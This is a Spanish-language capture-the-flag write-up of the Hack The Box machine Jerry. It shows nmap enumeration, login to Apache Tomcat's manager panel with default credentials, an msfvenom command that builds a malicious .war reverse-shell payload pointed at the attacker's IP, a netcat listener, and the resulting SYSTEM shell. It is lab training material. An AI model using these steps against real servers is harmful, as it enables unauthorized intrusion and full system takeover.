> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/hack-the-box/windows/easy/jerry.md).

# Jerry

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FHIegvwUUgmTDbbaoSCzg%2Fjerry00.png?alt=media&amp;token=1d0bdf39-1c21-45f5-bb84-46279a8b4675" alt=""><figcaption></figcaption></figure>

En este artículo, vamos a estar resolviendo la máquina Jerry de la plataforma Hack The Box. Para ganar acceso al sistema, nos valdremos de una fuga de información (Information Leakage), donde se utilizan credenciales por defecto para acceder al panel administrador de aplicaciones de Tomcat. Finalmente, para ganar acceso al sistema, desplegaremos un archivo malicioso `.war` el cual nos enviará una reverse shell a nuestro equipo, ganando acceso al sistema como el usuario `NT\Authority System`.

## Reconocimiento

Lanzamos una traza ICMP a la máquina víctima para comprobar que tengamos conectividad.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F4hAIgrPKhvfG2EPxh6ft%2Fimage.png?alt=media&amp;token=800d60e4-9c42-441e-817f-dde691b67bfb" alt=""><figcaption><p>Reconocimiento usando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

## Enumeración

### Descubrimiento de puertos abiertos

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

```bash
nmap -sS -p- --open --min-rate 5000 10.10.10.95 -n -Pn -oG scanPorts -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FqytWv2UOx2TMN3zgv6hR%2Fimage.png?alt=media&amp;token=2a638946-74eb-4613-a200-dfa2ca560d18" alt=""><figcaption><p>Descubrimiento de puertos abiertos</p></figcaption></figure>

### Enumeración de versión y servicio <a href="#enumeracion-de-version-y-servicio" id="enumeracion-de-version-y-servicio"></a>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FXON2lKDON4eCf9LG5B8J%2Fimage.png?alt=media&amp;token=b755140a-7fc4-4cd3-9494-d4e71492bf1a" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

## Explotación

Antes de ingresar al sitio web, utilizamos la herramienta wathweb para conocer un poco las tecnologías en el stio.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Flw8FWtnA8yQr0gzIzC5m%2Fimage.png?alt=media&amp;token=d76c23d9-27f3-4e02-9688-023f5bac8670" alt=""><figcaption><p>wathweb</p></figcaption></figure>

Como podemos observar, se esta ejecutando un servidor `Apache Tomact/7.0.88`.

Si ingresamos al sitio web, podemos confirmar que se trata de una instancia del servidor web Apache Tomcat.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F20DemSQ38vJggOm1gklu%2Fimage.png?alt=media&amp;token=c0c2845f-da7c-4f05-b48c-77af945bb590" alt=""><figcaption><p>Apache Tomcat/7.0.88</p></figcaption></figure>

Accedemos a <http://10.10.10.95:8080/manager/html> y nos solicita credenciales.

Ingresamos contraseñas por defecto `admin:admin` y nada.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fly76ZIq3RXoQE41AQfwH%2Fimage.png?alt=media&amp;token=846ea020-3898-438e-b4da-1351d7caa1f7" alt=""><figcaption></figcaption></figure>

Pero si probamos con `tomcat:s3cret` (credenciales que aparecen en el ejemplo) tenemos acceso.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FdOUMTLnPPNCmnxh3yjan%2Fimage.png?alt=media&amp;token=13436f6b-a7e1-4211-b19a-41f5bcd5d10f" alt=""><figcaption><p>Listado de aplicaciones</p></figcaption></figure>

## Explotación

Ahora que tenemos capacidad para desplegar una aplicación en Tomcat, lo que haremos es crear un archivo `.war` malicioso el cual nos ejecute una reverse shell a nuestro equipo.

#### Creamos el archivo .war con la herramienta **msfvenom**:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f war > shell.war
```

#### Subimos el .war desde el panel de Tomcat

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F9HyJsl8SybQqOmsN0zvk%2Fimage.png?alt=media&amp;token=b27980d9-7d58-4a36-b5d2-6e5f0d90de1a" alt=""><figcaption></figcaption></figure>

#### Nos ponemos en escucha con netcat por el puerto 443

```bash
rlwrap nc -lnvp 443
```

#### Accedemos a la ruta donde esta desplegada la aplicación

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fp4tOZCXGexSBFYoQa26S%2Fimage.png?alt=media&amp;token=a0703ec2-dbb7-4653-a3cb-f24e10734550" alt=""><figcaption></figcaption></figure>

#### Ganamos acceo al sistema como el usuario `NT\Authority System`

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FN5lIjO5mCXw8MLoPwpt0%2Fimage.png?alt=media&amp;token=787ff998-2921-4c24-9506-0b53fe3dfacc" alt=""><figcaption><p>NT\Authority System</p></figcaption></figure>

Por ultimo, leemos los flags de `user.txt` y `root.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1nW3CvNZcPaCgI0s9WFw%2Fimage.png?alt=media&amp;token=2a439e76-e7c4-41d9-ad5e-511706a7960e" alt=""><figcaption><p>Flags</p></figcaption></figure>

De esta forma, concluimos la resolución de una nueva máquina.

Espero que hayas disfrutado del contenido, y que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!
